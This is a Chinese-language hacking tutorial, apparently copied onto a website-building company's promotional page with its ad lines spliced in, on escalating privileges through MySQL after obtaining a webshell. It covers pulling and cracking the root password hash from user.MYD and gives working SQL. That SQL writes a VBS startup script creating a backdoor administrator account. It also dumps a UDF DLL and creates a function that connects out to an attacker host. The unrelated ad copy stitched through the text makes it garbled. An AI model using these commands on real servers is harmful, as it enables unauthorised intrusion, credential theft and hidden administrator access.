十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,(降权也可以提,没降权的话就最好了),是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码
阜平网站建设公司成都创新互联,阜平网站设计制作,有大型网站制作公司丰富经验。已为阜平上千家提供企业网站建设服务。企业网站搭建\成都外贸网站建设公司要多少钱,请找那个售后服务好的阜平做网站的公司定做!
先来说说我是咋判断一台windows服务器上的mysql有没有降权的. 0.0如果能运行cmd的话,我会先看看有啥用户先,如果有mysql mssql这样用户名,或者类似的.我就会猜测他的mssql服务或者mysql的已经被降权运行了.但并不代表不能提权,只要能运行cmd..
接着说一下,判断服务器上是否开启了mysql服务. 一般在拿到webshell的时候,都会扫描一下端口,如果开启了3306端口的话,我会telnet 过去看看- -.忘了有无回显~(提权的时候,大多数 3306端口的都是不支持外链的.呃,我遇到的大多数是这样, 有root可以开启外链.) 当然也有一些管理员会把mysql的默认端口改掉.另外一个判断的方法就是网站是否支持php,一般支持php的网站都用mysql数据库的.php+mysql啊,好基友啊好丽友- -~(当然,也有一些网站用其他的一些更专业的数据库).
再说说如何查找mysql root的密码.
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,如图2所示,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
User.frm user.myd User.myi
这几个文件.在webshell下,下载下来,解密.用c32asm或者其他的一些文本编辑器user.MYD打开.
A30F80616A023BDFC9
复制到cmd5.com那查一下,或者用cain爆破一下.
打开后使用二进制模式进行查看,如图所示,可以看到在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,即A30F80616A023BDFC9 。
具体使用cain破解的,我这就不演示了
还有一个查找的方法就是,一些php网站安装的时候用的是root用户,例如dedecms,他数据库安装的信息就是写在data/common.inc.php
select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止
udf提权用到的so文件(linux)在kali下默认集成,路径为 /usr/share/sqlmap/udf/mysql/linux/64(32)
或者 searchsploit mysql udf
把对应的内容编译出来
mysql创建函数命令
mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " );
windows 2008启动项:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
写启动项缺陷:
1、需要服务器重启(如果管理员3389远程桌面登陆时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。
2、安全软件可能会拦截。
补充:
如果mysql小于5.1是root权限,windows 2008一样可以拿到系统权限(mysql无降权处理)
1、mysql导出一个dll
SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll
//udf内容网上早有公开
2、创建一个函数
create function myconnect returns integer soname 'c:\\007hack.dll
//c盘要可以写,注意是”\\”
3、调用这个函数
select myconnect('".$chost."','".$cport."')
//这只是一个例子